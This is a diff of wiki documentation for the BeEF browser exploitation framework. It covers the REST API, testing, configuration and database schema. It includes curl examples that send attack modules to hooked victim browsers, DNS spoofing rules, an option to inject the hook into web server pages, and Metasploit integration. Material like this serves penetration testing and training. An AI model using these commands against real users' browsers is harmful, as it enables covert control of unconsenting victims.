* **Query Parameters**
* `{token}` - your authentication token (see [Authentication](#authentication))
* **Request Content**
* **Headers**
* Content-Type: `application/json; charset=UTF-8`
* **Body**
* `mod_id` - ID of the BeEF module. See [List Command Modules](#list-command-modules).
* `mod_params` - parameters needed for the module
* `hb_ids` - session ID of the hooked browser. This ID is the `session_key` value returned in the response to the [`/api/](#hooked-browsers) request.
### Example :
### Example
##### Sending an Alert Module w/ Custom Text to 2 Browsers
NOTE: Alert module with custom text, 2 hooked browsers.
**NOTE:**
* The request header must contain `Content-Type: application/json; charset=UTF-8` and the request body must be valid JSON.
**Request** :
#### Request
```
curl -H "Content-Type: application/json; charset=UTF-8" \
-d '{"mod_id":110,"mod_params":{"text":"vadi?"},"hb_ids":[1,2]}' -X POST \
http://beefserver.com:3000/api/modules/multi?token=2316d82702b83a293e2d46a0886a003a6be0a633
```bash
curl -H "Content-Type: application/json; charset=UTF-8" -d '{"mod_id":110,"mod_params":{"text":"vadi?"},"hb_ids":[1,2]}' -X POST http://beefserver.com:3000/api/modules/multi?token=2316d82702b83a293e2d46a0886a003a6be0a633
```
**Response**
#### Response
```json
```
{
"1":16,
"2":17
"1": 16,
"2": 17
}
```
## Send multiple modules to a single hooked browser
## Send Multiple Modules to a Single Hooked Browser
### Handler
* **URL** : POST /api/modules/multi_module
* **Description** : Fire multiple command modules to a single hooked browser. Returns the command IDs of the launched modules, or 0 if firing got issues.
* **Parameters** :
* hb : hooked browser session
* modules : an array containing all the modules to be launched, with the following two keys:
* mod_id : module ID
* mod_input : module custom input
### Example :
* **Endpoint**
* `POST /api/modules/multi_module?token={token}`
* **Description**
* Fire **multiple** command modules to a **single** hooked browser. Returns the command IDs of the launched modules, or 0 if there were errors.
* **Request Components**
* N/A
* **Query Parameters**
* `{token}` - your authentication token (see [Authentication](#authentication))
* **Request Content**
* **Headers**
* Content-Type: `application/json; charset=UTF-8`
* **Body**
* `hb_id` - session ID of the hooked browser. This ID is the `session_key` value returned in the response to the
[`/api/hooks`](#hooked-browsers) request.
* `modules` - an array containing all the modules to be launched, with the following two keys:
* `modules.mod_id` - ID of the BeEF module. See [List Command Modules](#list-command-modules).
* `modules.mod_input` - any ncessary module parameters.
NOTE: Alert module with custom text, 2 hooked browsers. For modules that don't need parameters, just pass an empty JSON object like {}.
### Example
##### Alert Module w/ Custom Text Using 2 Modules
**Request** :
**NOTE:**
* The request header must contain `Content-Type: application/json; charset=UTF-8` and the request body must be valid JSON.
* For modules that don't need parameters, just pass an empty JSON object like {}.
```
curl -H "Content-Type: application/json; charset=UTF-8" \
-d '{"hb":"vkIwVV3ok5i5vH2f8sxlkoaKqAGKCbZXdWqE9vkHNFBhI8aBBHvtZAGRO2XqFZXxThBlmKlRiVwPeAzj","modules":[{"mod_id":99,"mod_input":[{"repeat":"10"},{"repeat_string":"ABCDE"}]},{"mod_id":116,"mod_input":[{"question":"hooked?"}]},{"mod_id":128,"mod_input":[]}]}' \
-X POST \
http://beefserver.com:3000/api/modules/multi_module?token=e640483ae9bca2eb904f003f27dd4bc83936eb92
#### Request
```bash
curl -H "Content-Type: application/json; charset=UTF-8" -d '{"hb":"vkIwVV3ok5i5vH2f8sxlkoaKqAGKCbZXdWqE9vkHNFBhI8aBBHvtZAGRO2XqFZXxThBlmKlRiVwPeAzj","modules":[{"mod_id":99,"mod_input":[{"repeat":"10"},{"repeat_string":"ABCDE"}]},{"mod_id":116,"mod_input":[{"question":"hooked?"}]},{"mod_id":128,"mod_input":[]}]}' -X POST http://beefserver.com:3000/api/modules/multi_module?token=e640483ae9bca2eb904f003f27dd4bc83936eb92
```
**Response**
NOTE: the following means the Alert Dialog module execution had issues (returning 0).
```json
#### Response
**NOTE:**
* Here that the Alert Dialog module execution had issues (i.e. it returns 0).
```
{
"99":7,
"116":8,
"128":0
"99": 7,
"116": 8,
"128": 0
}
```
@@ -436,21 +554,26 @@ NOTE: the following means the Alert Dialog module execution had issues (returnin
### Handler
* **URL** : GET /api/dns/ruleset
* **Description** : Returns the current set of DNS rules.
* **No parameters**
* **Endpoint**
* `GET /api/dns/ruleset?token={token}`
* **Description**
* Returns the current set of DNS rules.
* **Request Components**
* N/A
* **Query Parameters**
* `{token}` - your authentication token (see [Authentication](#authentication))
### Example
**Request**
#### Request
```
```bash
curl http://beefserver.com:3000/api/dns/ruleset?token=320f3cf4da7bf0df7566a517c5db796e73a23f47
```
**Response**
#### Response
```json
```
{
"count": 5,
"ruleset": [
@@ -500,26 +623,30 @@ curl http://beefserver.com:3000/api/dns/ruleset?token=320f3cf4da7bf0df7566a517c5
}
```
## List a specific DNS rule
## List a Specific DNS Rule
### Handler
* **URL** : GET /api/dns/rule/:id
* **Description** : Returns an individual DNS rule given its unique id.
* **Parameters** :
* :id : unique identifier associated with rule
* **Endpoint**
* `GET /api/dns/rule/{id}?token={token}`
* **Description**
* Returns an individual DNS rule given its unique id.
* **Request Components**
* `{id}` - unique identifier associated with a **specific** DNS rule
* **Query Parameters**
* `{token}` - your authentication token (see [Authentication](#authentication))
### Example
**Request**
#### Request
```
```bash
curl http://beefserver.com:3000/api/dns/rule/7e64183?token=320f3cf4da7bf0df7566a517c5db796e73a23f47
```
**Response**
#### Response
```json
```
{
"id": "7e64183",
"pattern": "example.com",
@@ -531,54 +658,67 @@ curl http://beefserver.com:3000/api/dns/rule/7e64183?token=320f3cf4da7bf0df7566a
}
```
## Add a new DNS rule
## Add a New DNS Rule
### Handler
* **URL** : POST /api/dns/rule
* **Description** : Adds a new DNS rule or "resource record". Does nothing if rule is already present.
* **Parameters** :
* pattern : query pattern to recognize
* resource : resource record type (e.g. A, CNAME, NS, etc.)
* response : array containing response data
* **Endpoint**
* `POST /api/dns/rule?token={token}`
* **Description**
* Adds a new DNS rule or "resource record". Does nothing if rule is already present.
* **Request Comonents**
* N/A
* **Query Parameters**
* `{token}` - your authentication token (see [Authentication](#authentication))
* **Request Content**
* **Headers**
* Content-Type: `application/json; charset=UTF-8`
* **Body**
* `pattern` - the query pattern to recognize.
* `resource` - the resource record type (e.g. A, CNAME, NS, etc).
* `response` - an array containing the response data.
### Example
**Request**
#### Request
```
```bash
curl -H "Content-Type: application/json; charset=UTF-8" -d '{"pattern": "example.com", "resource": "A", "response": [ "10.0.2.14" ]}' -X POST http://beefserver.com:3000/api/dns/rule?token=320f3cf4da7bf0df7566a517c5db796e73a23f47
```
**Response**
#### Response
```json
```
{
"success": true,
"id": "01f458a"
}
```
## Remove an existing DNS rule
## Remove an Existing DNS Rule
### Handler
* **URL** : DELETE /api/dns/rule/:id
* **Description** : Removes an individual DNS rule given its unique id.
* **Parameters** :
* :id : unique identifier associated with rule
* **Endpoint**
* `DELETE /api/dns/rule/{id}?token={token}`
* **Description**
* Removes an individual DNS rule with a **specified** unique ID.
* **Request Components** :
* `{id}` - unique ID associated with the targeted rule.
* **Query Parameters**
* `{token}` - your authentication token (see [Authentication](#authentication))
### Example
**Request**
#### Request
```
```bash
curl -X DELETE http://beefserver.com:3000/api/dns/rule/45ce397?token=320f3cf4da7bf0df7566a517c5db796e73a23f47
```
**Response**
#### Response
```json
```
{
"success": true
}
@@ -587,7 +727,5 @@ curl -X DELETE http://beefserver.com:3000/api/dns/rule/45ce397?token=320f3cf4da7
## Scripts
* [[Java-1.6.0u27 mass-pwner|Script:-Java-1.6.0u27-mass-pwner]]
If you have realized any script that you would like to share with the community, please contact [Nbblr](https://github.com/Nbblrr)
***
[[Previous|Persistence]] | [[Next|Autorun]]
[[Persistence|Persistence]] | [[Autorun Rule Engine|Autorun Rule Engine]]
BeEF-Testing.md
+42 -30
@@ -1,50 +1,59 @@
## Introduction
Testing is important in every serious software development process. Although in BeEF we don't use TDD (Test-driven development), we do have a testing suite.
Before running the tests locally on your machine, you must install necessary gems:
BeEF tests are all contained inside `<beef_root>/test` directory.
```
export BEEF_TEST=true
bundle install --with test
```
BeEF tests are all contained inside `<beef_root>/spec` directory.
A Rakefile, `<beef_root>/Rakefile`, contains testing tasks, organized by categories.
To run all tests, run (from `<beef_root>`):
`bundle exec rake all`
`bundle exec rake --all`
Otherwise, to run only some testing categories, for instance 'integration', run:
Otherwise, to run only some testing categories, for instance 'spec', run:
`bundle exec rake integration`
`bundle exec rake spec`
Before running the tests locally on your machine, you must install necessary gems:
Before running the tests locally on your machine, you may want to change the values of ATTACK_DOMAIN and VICTIM_DOMAIN in `<beef_root>/test/common/test_constants.rb`, to something like:
```
export BEEF_TEST=1
bundle install
```
Before running the tests locally on your machine, you may want to change in `<beef_root>/test/common/test_constants.rb` the values of ATTACK_DOMAIN and VICTIM_DOMAIN, to something like:
```ruby
ATTACK_DOMAIN = "127.0.0.1"
VICTIM_DOMAIN = "localhost"
```
These values must differ however it is acceptable if both resolve to the same host.
These values must differ, however it is acceptable if both resolve to the same host.
On our continuous integration server, responsible to run all the tests suite on every GIT change, these constants already contain the proper default values. When you change these values for your local tests, be sure to don't commit/push these changes to the BeEF repository.
On our continuous integration server, responsible to run all the tests suite on every GIT change, these constants already contain the proper default values. When you change these values for your local tests, be sure not to commit/push these changes to the BeEF repository.
## Testing categories
## Testing Categories
The BeEF testing framework is a mix of 2 types of tests:
- unit tests
- rspec tests
- functional tests
To run these tests just on their own run:
`bundle exec rake`
and the specific category, for example:
`bundle exec rake rdoc`
To run rdoc.
We currently have the following testing categories:
- **integration**: mainly functional tests. We use Capybara and WebDriver in order to instrument the browser to do stuff for us. When running these tests, you will see a browser being open (currently Firefox, we're working on extending the testing suite including all the other browser). The integration testing suite is responsible to run functional tests on the Web GUI and test module execution.
- **ssl:**: creates a new SSL certificate and Re-generate the SSL certificate
- **rdoc:**: creates the rdoc information
- **beef_start:**: sets up and starts BeEF
- **beef_stop:**: cleanup and stops beef
- **msf_start:**: starts the msf_console
- **msf_stop:**:kills the MSF_process
- **msf_update:**: git pulls the msf repo
- **dmg:**: creates the Mac DMG file
- **cde:**: this will download and make the CDE Executable plus generate a cde package in cde-package
- **cde_beef_start:**: starts the CDE/beef enviorment set-up
- **db:**: requires the :environment to require beef
- **unit**: as the word says, mainly unit tests. Things like the directory structure, default config options and basic components like the network_handler are tested here.
- **thirdparty/msf**: contains Metasploit related test files. With these tests Metasploit is started, connectivity and authentication to Metasploit's msgrpc is tested.
- **thirdparty/bundle_audit**: updates Ruby Gems vulnerability database and checks gems for vulnerabilities using bundle-audit.
You will also notice another directory, **common**. As the name suggests, it contains things shared across testing suites, for instance constants and methods.
## Unit tests
## Unit Tests
When writing unit tests, you will mainly use two functions:
assert(Boolean) -> test pass if the Boolean condition is true.
@@ -70,7 +79,7 @@ assert_nothing_raised do
something
end
```
## Functional tests
## Functional Tests
For functional tests, other than using some aspects of the unit tests, we use Capybara and Selenium-WebDriver. The result is the possibility to programmatically control a browser (at the moment Firefox, we're working to improve our testing suite with Webkit and other browsers) from a user's point-of-view. For instance, we're able to instrument the browser to login into the BeEF Web GUI, as you can see here below:
```ruby
@@ -87,9 +96,9 @@ For functional tests, other than using some aspects of the unit tests, we use Ca
session
end
```
### Testing command modules
### Testing Command Modules
In order to inject custom JavaScript into the hooked browser during testing, you have 2 choices:
- **execute_script** : available from objects of type Capybara::Session. It comes handy when the JavaScript you want to inject is actually returning something. Example:
- **execute_script** : available from objects of type Capybara::Session. It comes in handy when the JavaScript you want to inject is actually returning something. Example:
```javascript
def test_jools_simple
victim = BeefTest.new_victim
@@ -100,7 +109,7 @@ def test_jools_simple
assert_equal result,'ciccio_pasticcio'
end
```
- **RESTful API** : as you can launch command modules, and retrieve results through the RESTful API, you can use it also for testing purposes. This is particularly effective when the JavaScript to be injected in the hooked browser is complex or it's not explicitly returning a value (i.e.: returning data using only beef.net.send()). For example, to test the execution of a module (in this case a Debug module),see the following example. Also, have a look at `<beef_root>/test/integration/tc_debug_modules.rb` in order to see how some variables like `hb_session`, `token` and others are retrieved from previous tests.
- **RESTful API** : as you can launch command modules, and retrieve results through the RESTful API, you can also use it for testing purposes. This is particularly effective when the JavaScript to be injected in the hooked browser is complex or it's not explicitly returning a value (i.e.: returning data using only beef.net.send()). For example, to test the execution of a module (in this case a Debug module), see the following example. Also, have a look at `<beef_root>/test/integration/tc_debug_modules.rb` in order to see how some variables like `hb_session`, `token` and others are retrieved from previous tests.
```ruby
## Test debug module "Test_return_long_string" using the RESTful API
@@ -140,7 +149,7 @@ def test_jools_simple
### Testing Metasploit
To test Metasploit integration, run:
`bundle exec rake msf`
`bundle exec rake msf_start`
This will clone the latest version of Metasploit to /tmp/msf-test/
@@ -150,4 +159,7 @@ To check Ruby Gems for known vulnerabilities, run:
`bundle exec rake bundle_audit`
## Conclusion
We are actively working to improve the BeEF testing suite, exploring also TeamCity and other testing solutions with Virtual Machines. We'll do our best to keep this page updated. For any trouble, do not hesitate to contact us via email/twitter.
We are actively working to improve the BeEF testing suite, exploring also TeamCity and other testing solutions with Virtual Machines. We'll do our best to keep this page updated. For any trouble, do not hesitate to contact us via email/twitter.
***
[[Creating An Extension|Creating An Extension]] | [[Database Schema|Database Schema]]
BeEF-modules.md
+2 -2
@@ -104,11 +104,11 @@
1. [[Detect Google Desktop|Module:-Detect-Google-Desktop]]
1. [[Detect Softwares|Module:-Detect-Software]]
1. [[Get Clipboard|Module:-Get-Clipboard]]
1. [[Get Internal IP|Module:-Get-Internal-IP]]
1. [[Get Internal IP Java|Module:-Get-Internal-IP-(Java)]]
1. [[Get Internal IP WebRTC|Module:-Get-Internal-IP-WebRTC]]
1. [[Get Physical Location|Module:-Get-Physical-Location]]
1. [[Get Protocol Handlers|Module:-Get-Protocol-Handlers]]
1. [[Get System Info|Module:-Get-System-Info]]
1. [[Get System Info Java|Module:-Get-System-Info-(Java)]]
1. [[Hook Default Browser|Module:-Hook-Default-Browser]]
1. [[Get Geolocation|Module:-Get-Geolocation]]
1. [[Get Registry Keys|Module:-Get-Registry-Keys]]
Command-Module-API.md
+5 -5
@@ -1,12 +1,10 @@
_This page details the Command Module API_
### Introduction ###
The framework allows command modules to set and get details about the hooked browser. Details set from the results of one module may be used to better target another. The base class `BeEF::Command` has the two more methods: `set_browser_details()` and `get_browser_detail()`.
The framework allows command modules to set and get details about the hooked browser. Details set from the results of one module may be used to better target another. The base class `BeEF::Command` has two more methods: `set_browser_details()` and `get_browser_detail()`.
### Example ###
For example, a module might use `get_browser_detail('UA')` which returns the user agent. Then the code may vary to better target the browser.
For example, a module might use `get_browser_detail('UA')` , which returns the user agent. Then the code may vary to better target the browser.
### Alert Command Module ###
@@ -27,4 +25,6 @@ def callback
save content
end
```
```
***
[[Command Module Config|Command Module Config]]
Command-Module-Config.md
+7 -4
@@ -1,4 +1,3 @@
_This page discusses command module configuration files_
### Introduction ###
@@ -9,9 +8,11 @@ This file is used by the framework to set the category, name, description and va
### Details ###
The config file is in YAML format. It must exist in the same directory as the command module and must be named "config.yaml"
The config file is in YAML format. It must exist in the same directory as the command module and must be named `config.yaml`.
Note that white-space is not allowed within a node name and tab characters cannot be used for indentation. A space is mandatory when separating strings within an array, for example: {{{authors: ["pdp", "wade", "bm", "xntrik"]}}}
Note that white-space is not allowed within a node name and tab characters cannot be used for indentation. A space is mandatory when separating strings within an array, for example:
`authors: ["pdp", "wade", "bm", "xntrik"]`
### Example ###
@@ -96,4 +97,6 @@ The final rating is converted into an icon in BeEF:
* Green (VERIFIED_WORKING) for works
* Orange (VERIFIED_USER_NOTIFY) for user will be notified
* Red (VERIFIED_NOT_WORKING) for doesn't work
* Grey (VERIFIED_UNKNOWN) for unknown
* Grey (VERIFIED_UNKNOWN) for unknown
***
[[Database Schema|Database Schema]] | [[Command Module API|Command Module API]]
Configuration.md
+51 -50
@@ -1,10 +1,17 @@
# Configuring BeEF
## Introduction
Most of the core BeEF configurations are in the main configuration file : [config.yaml](https://github.com/beefproject/beef/blob/master/config.yaml).
BeEF utilises YAML files in order to configure the core functionality, as well as the extensions. Most of the core BeEF configurations are in the main configuration file: [`config.yaml`](https://github.com/beefproject/beef/blob/master/config.yaml), found in the BeEF directory.
To configure extensions, the config.yaml files will be found in the extension folder that you're trying to modify.
To configure extensions, modify the [`config.yaml`](https://github.com/beefproject/beef/blob/master/config.yaml) files located in the extension folder that you're trying to modify. For more information on the command module config files, please see: [Command Module Config](https://github.com/beefproject/beef/wiki/Command-Module-Config).
#### Table of Contents
* [Authentication](#authentication)
* [Access Controls](#access-controls)
* [Web Server Configuration](#web-server-configuration)
* [Configuring Extensions](#configuring-extensions)
* [Launching BeEF](#launching-beef)
***
## Authentication
@@ -12,9 +19,9 @@ To configure extensions, the config.yaml files will be found in the extension fo
**In order to use BeEF, you must change the username and password.**
To edit the configuration file, navigate to the BeEF directory and use your favourite text editor (vim, nano etc) to edit the config.yaml file.
Navigate to the BeEF directory and use your favourite text editor (Vim, Nano, etc) to edit [`config.yaml`](https://github.com/beefproject/beef/blob/master/config.yaml).
Please edit the below section, found in the file:
Please update the section shown in the example below:
```yaml
#Credentials to authenticate in BeEF.
@@ -25,9 +32,9 @@ Please edit the below section, found in the file:
```
## Access Controls
### Network Limitations
The web interface for hooking or for managing BeEF can be limited by subnet.
This is done in the
```
@@ -38,6 +45,10 @@ $ beef/config.yaml
$ beef/config.yaml.beef.restrictions.https
```
The web interface for hooking or managing BeEF can be limited by subnet.
This can be done in the [`beef/config.yaml`](https://github.com/beefproject/beef/blob/master/config.yaml) file under the Interface / IP restrictions subsection (`beef/config.yaml.beef.restrictions.https`)
**Access to the management interface should be restricted using the `permitted_ui_subnet` access control.**
@@ -62,21 +73,20 @@ By guessing a valid IP address in the correct subnet, an unauthorized user could
### Admin UI
The panel path should also be changed using the `beef.extension.admin_ui.base_path` configuration option. Note: this is security through obscurity and won't prevent attacks against the `/api/` REST interface.
The panel path should also be changed using the `beef.extension.admin_ui.base_path` configuration option i.e. the Extension > Admin UI subsection of the [`beef/config.yaml`](https://github.com/beefproject/beef/blob/master/config.yaml) file.
Note that this is security through obscurity and won't prevent attacks against the `/api/` REST interface.
### Login Throttling
By default, the administration UI throttles login attempts to 1 attempt per second. This can be changed using the `beef.extensions.admin_ui.login_fail_delay: 1` value in `extensions/admin_ui/config.yaml`.
By default, the administration UI throttles login attempts to 1 attempt per second. This can be changed altering `beef.extensions.admin_ui.login_fail_delay` value in `extensions/admin_ui/config.yaml`.
By default, the REST API interface throttles login attempts to 1 attempt every 0.05 seconds. This can be changed using the `beef.restrictions.api_attempt_delay: 0.05` value in `config.yaml`.
By default, the REST API interface throttles login attempts to 1 attempt every 0.05 seconds. This can be changed altering `beef.restrictions.api_attempt_delay` value in [`config.yaml`](https://github.com/beefproject/beef/blob/master/config.yaml).
## Web Server Configuration
***
## Web server configuration
The web server can be fully configured, this is done in the config.yaml file in http:
The web server can be fully configured, this is done in the HTTP subsection of the [`config.yaml`](https://github.com/beefproject/beef/blob/master/config.yaml) file:
```yaml
http:
@@ -95,9 +105,9 @@ The web server can be fully configured, this is done in the config.yaml file in
session_cookie_name: "BEEFSESSION" # Name of BeEF cookie
```
### Web server imitation
### Web Server Imitation
BeEF also features rudimentary web server imitation. The root page and HTTP 404 error pages can be changed to reflect one of several popular web servers (apache, iis, nginx) using the `beef.http.web_server_imitation` directive.
BeEF also features rudimentary web server imitation. The root page and HTTP 404 error pages can be changed to reflect one of several popular web servers (Apache, IIS, NGINX) using the `beef.http.web_server_imitation` directive.
For example:
@@ -112,14 +122,10 @@ For example:
The `hook_404` and `hook_root` directives can be enabled to inject the BeEF hook on HTTP 404 error pages and the web root page respectively. This will hook the browser of anyone examining the web server.
***
## Configuring Extensions
### Enabling Extensions
### Enabling extensions
Extensions should be enabled in the main [config.yaml](https://github.com/beefproject/beef/blob/master/config.yaml):
Extensions should be enabled in the main [`config.yaml`](https://github.com/beefproject/beef/blob/master/config.yaml):
```yaml
extension:
@@ -138,29 +144,20 @@ Extensions should be enabled in the main [config.yaml](https://github.com/beefpr
enable: false
```
The Demos extension should be disabled in production by setting `enable: false` in `config.yaml`.
***
The Demos extension should be disabled when using BeEF in production by setting `enable: false` in [`config.yaml`](https://github.com/beefproject/beef/blob/master/config.yaml).
### Metasploit
To enable Metasploit you need to enable it in
``
beef/config.yaml.beef.extensions.metasploit
``
by making it true not false,
```
To enable Metasploit you need to enable it in `beef/config.yaml.beef.extensions.metasploit` by changing the value to true.
```yaml
extension:
admin_ui:
metasploit:
enable: true
```
***
The Metasploit extension should be configured by modifying the config file that is in extensions/metasploit/config.yml
(below)
``
$beef/extensions/metasploit/config.yaml.beef.extensions.metasploit
``
(https://github.com/beefproject/beef/blob/master/extensions/metasploit/config.yaml) :
The Metasploit extension should be configured by modifying the config file that is in [`extensions/metasploit/config.yml`](https://github.com/beefproject/beef/blob/master/extensions/metasploit/config.yaml) (see below) `beef/extensions/metasploit/config.yaml.beef.extensions.metasploit`:
```yaml
name: 'Metasploit'
@@ -177,33 +174,37 @@ $beef/extensions/metasploit/config.yaml.beef.extensions.metasploit
autopwn_url: "autopwn"
```
**Be sure to change the `password` field**. Authenticated access to the Metasploit RPC service can be used to [execute arbitrary commands](https://www.rapid7.com/db/modules/exploit/multi/misc/msf_rpc_console) on the underlying operating system.
**Be sure to change the `pass` field**.
Authenticated access to the Metasploit RPC service can be used to [execute arbitrary commands](https://www.rapid7.com/db/modules/exploit/multi/misc/msf_rpc_console) on the underlying operating system.
Most of the configuration can be left with default value, except the **host** and **callback_host** parameters which should have the IP address of the host on which Metasploit is accessible.
Use the same host for the below with the User and Password information.
For enabling RPC communication, the following command should be launched in Metasploit:
Use the same host below in the next step (before the User and Password information).
To enable RPC communication, the following command should be launched in Metasploit:
```ruby
load msgrpc ServerHost=127.0.0.1 User=msf Pass=<password> SSL=y
```
This command can be written in a file and launched with **-r** option to _msfconsole_.
Usually its easier to just run it in the metasploit terminal. Have the settings (host, user, pass and ssl)
This command can be written in a file and launched with `-r` option to `msfconsole`.
Usually its easier to just run it in the Metasploit terminal. Have the settings (`host`, `user`, `pass` and `ssl`)
the same as in the config file.
[[Images/msf1.png|align=center]]
Of course, IP address and password should be consistent with the previous yaml configuration file.
Of course, IP address and password should be consistent with the previous YAML configuration file.
## Launching BeEF
You can now launch BeEF by launching the beef script in the root directory :
You can now launch BeEF by launching the `beef` script in the root directory:
[[Images/conf-launch.png|align=center]]
You can also use the following options :
You can also use the following options:
```
Usage: beef [options]
-x, --reset Reset the database
@@ -214,10 +215,10 @@ Usage: beef [options]
-w, --wsport WS_PORT Change the default BeEF WebSocket listening port
```
Once configured you can check that metasploit modules are loaded when launching BeEF:
Once configured, you can check that Metasploit modules are loaded when launching BeEF:
[[Images/conf_metasploit.png|align=center]]
***
[[Back|Installation]] | [[Next|Interface]]
[[Installation|Installation]] | [[Interface|Interface]]
Core-BeEF-Organization.md
+1 -1
@@ -2,4 +2,4 @@ _TODO_
***
[[Previous|Development-Organization]] | [[Next|Javascript-API]]
[[Development Organization|Development-Organization]] | [[Javascript API|Javascript-API]]
Creating-An-Extension.md
+4 -1
@@ -196,4 +196,7 @@ No problems here.
# Moving Forward
Our Daytime server was just a simple way to show the structure and layout of extensions. In reality, it's unlikely that BeEF would ever actually need it. If you feel comfortable with everything so far, a good way to move forward is to learn from the host of already existing extensions in the `extensions/` directory. Sometimes the best way to learn is by example.
Our Daytime server was just a simple way to show the structure and layout of extensions. In reality, it's unlikely that BeEF would ever actually need it. If you feel comfortable with everything so far, a good way to move forward is to learn from the host of already existing extensions in the `extensions/` directory. Sometimes the best way to learn is by example.
***
[[Advanced Module Creation|Advanced Module Creation]] | [[BeEF Testing|BeEF Testing]]
Database-Schema.md
+405 -100
@@ -1,137 +1,442 @@
_Details of the database schema_
### Introduction ###
Database Schema
The below details the Database Schema of BeEF.
### Tables ###
### Table of Contents
* [ar_internal_metadata](#ar_internal_metadata)
* [autoloader](#autoloader)
* [browser_details](#browser_details)
* [command_modules](#command_modules)
* [commands](#commands)
* [dns_rule](#dns_rule)
* [executions](#executions)
* [hooked_browsers](#hooked_browsers)
* [http](#http)
* [interceptors](#interceptors)
* [ipec_exploit](#ipec_exploit)
* [ipec_exploit_run](#ipec_exploit_run)
* [logs](#logs)
* [mass_mailer](#mass_mailer)
* [network_hosts](#network_hosts)
* [network_services](#network_services)
* [option_caches](#option_caches)
* [results](#results)
* [rtc_manage](#rtc_manage)
* [rtc_module_status](#rtc_module_status)
* [rtc_signal](#rtc_signal)
* [rtc_status](#rtc_status)
* [rules](#rules)
* [schema_migrations](#schema_migrations)
* [web_cloner](#web_cloner)
* [xssrays_detail](#xssrays_detail)
* [xssrays_scan](#xssrays_scan)
### Database Tables ###
```
sqlite> .tables
autoloading extension_distributedengine_rules
commands extension_dns_rules
core_areexecution extension_requester_http
core_arerules extension_seng_interceptor
core_browserdetails extension_seng_webcloner
core_commandmodules extension_webrtc_rtcmanage
core_hookedbrowsers extension_webrtc_rtcsignals
core_logs extension_xssrays_details
core_optioncache extension_xssrays_scans
core_results network_host
extension_adminui_users network_service
ar_internal_metadata interceptors rtc_manage
autoloader ipec_exploit rtc_module_status
browser_details ipec_exploit_run rtc_signal
command_modules logs rtc_status
commands mass_mailer rules
dns_rule network_hosts schema_migrations
executions network_services web_cloner
hooked_browsers option_caches xssrays_detail
http results xssrays_scan
```
**HookedBrowser**
### Table Info ###
Stores hooked browser
#### ar_internal_metadata
```ruby
storage_names[:default] = 'core_hookedbrowsers'
property :id, Serial
property :session, Text, :lazy => false
property :ip, Text, :lazy => false
property :firstseen, String, :length => 15
property :lastseen, String, :length => 15
property :httpheaders, Text, :lazy => false
# @note the domain originating the hook request
property :domain, Text, :lazy => false
property :port, Integer, :default => 80
property :count, Integer, :lazy => false
property :has_init, Boolean, :default => false
property :is_proxy, Boolean, :default => false
# @note if true the HB is used as a tunneling proxy
```
sqlite> PRAGMA table_info(ar_internal_metadata);
```
cid | name | type | notnull | default | pk
--- | --- | --- | --- | --- | ---
0 | key | varchar | 1 | | 1
1 | value | varchar | 0 | | 0
2 | created_at | datetime(6) | 1 | | 0
3 | updated_at | datetime(6) | 1 | | 0
#### autoloader
```
sqlite> PRAGMA table_info(autoloader);
```
cid | name | type | notnull | default | pk
--- | --- | --- | --- | --- | ---
0 | id | integer | 1 | | 1
1 | command_id | integer | 0 | | 0
2 | in_use | boolean | 0 | | 0
#### browser_details
```
sqlite> PRAGMA table_info(browser_details);
```
**Command**
cid | name | type | notnull | default | pk
--- | --- | --- | --- | --- | ---
0 | id | integer | 1 | | 1
1 | session_id | text | 0 | | 0
2 | detail_key | text | 0 | | 0
3 | detail_value | text | 0 | | 0
```ruby
storage_names[:default] = 'commands'
property :id, Serial
property :data, Text
property :creationdate, String, :length => 15, :lazy => false
property :label, Text, :lazy => false
property :instructions_sent, Boolean, :default => false
#### command_modules
```
sqlite> PRAGMA table_info(command_modules);
```
**CommandModule**
cid | name | type | notnull | default | pk
--- | --- | --- | --- | --- | ---
0 | id | integer | 1 | | 1
1 | name | text | 0 | | 0
2 | path | text | 0 | | 0
```ruby
storage_names[:default] = 'core_commandmodules'
property :id, Serial
property :name, Text, :lazy => false
property :path, Text, :lazy => false
#### commands
```
sqlite> PRAGMA table_info(commands);
```
**BrowserDetails**
cid | name | type | notnull | default | pk
--- | --- | --- | --- | --- | ---
0 | id | integer | 1 | | 1
1 | command_module_id | integer | 0 | | 0
2 | hooked_browser_id | integer | 0 | | 0
3 | data | text | 0 | | 0
4 | creationdate | datetime | 0 | | 0
5 | label | text | 0 | | 0
6 | instructions_sent | boolean | 0 | 0 | 0
```ruby
storage_names[:default] = 'core_browserdetails'
property :session_id, String, :length => 255, :key => true
property :detail_key, String, :length => 255, :lazy => false, :key => true
property :detail_value, Text, :lazy => false
#### dns_rule
```
sqlite> PRAGMA table_info(dns_rule);
```
**Log**
cid | name | type | notnull | default | pk
--- | --- | --- | --- | --- | ---
0 | id | integer | 1 | | 1
1 | pattern | text | 0 | | 0
2 | resource | text | 0 | | 0
3 | response | text | 0 | | 0
4 | callback | text | 0 | | 0
```ruby
storage_names[:default] = 'core_logs'
property :id, Serial
property :type, Text, :lazy => false
property :event, Text, :lazy => false
property :date, DateTime, :lazy => false
property :hooked_browser_id, Text, :lazy => false
#### executions
```
sqlite> PRAGMA table_info(executions);
```
**OptionCache**
cid | name | type | notnull | default | pk
--- | --- | --- | --- | --- | ---
0 | id | integer | 1 | | 1
1 | session_id | text | 0 | | 0
2 | mod_count | integer | 0 | | 0
3 | mod_successful | integer | 0 | | 0
4 | mod_body | text | 0 | | 0
5 | exec_time | text | 0 | | 0
6 | rule_token | text | 0 | | 0
7 | is_sent | boolean | 0 | | 0
#### hooked_browsers
```ruby
storage_names[:default] = 'core_optioncache'
property :id, Serial
property :name, Text
property :value, Text
```
sqlite> PRAGMA table_info(hooked_browsers);
```
cid | name | type | notnull | default | pk
--- | --- | --- | --- | --- | ---
0 | id | integer | 1 | | 1
1 | session | text | 0 | | 0
2 | ip | text | 0 | | 0
3 | firstseen | text | 0 | | 0
4 | lastseen | text | 0 | | 0
5 | httpheaders | text | 0 | | 0
6 | domain | text | 0 | | 0
7 | port | integer | 0 | | 0
8 | count | integer | 0 | | 0
9 | is_proxy | boolean | 0 | | 0
#### http
```
sqlite> PRAGMA table_info(http);
```
cid | name | type | notnull | default | pk
--- | --- | --- | --- | --- | ---
0 | id | integer | 1 | | 1
1 | hooked_browser_id | integer | 0 | | 0
2 | request | text | 0 | | 0
3 | allow_cross_domain | boolean | 0 | 1 | 0
4 | response_data | text | 0 | | 0
5 | response_status_code | integer | 0 | | 0
6 | response_status_text | text | 0 | | 0
7 | response_port_status | text | 0 | | 0
8 | response_headers | text | 0 | | 0
9 | method | text | 0 | | 0
10 | content_length | text | 0 | '0' | 0
11 | proto | text | 0 | | 0
12 | domain | text | 0 | | 0
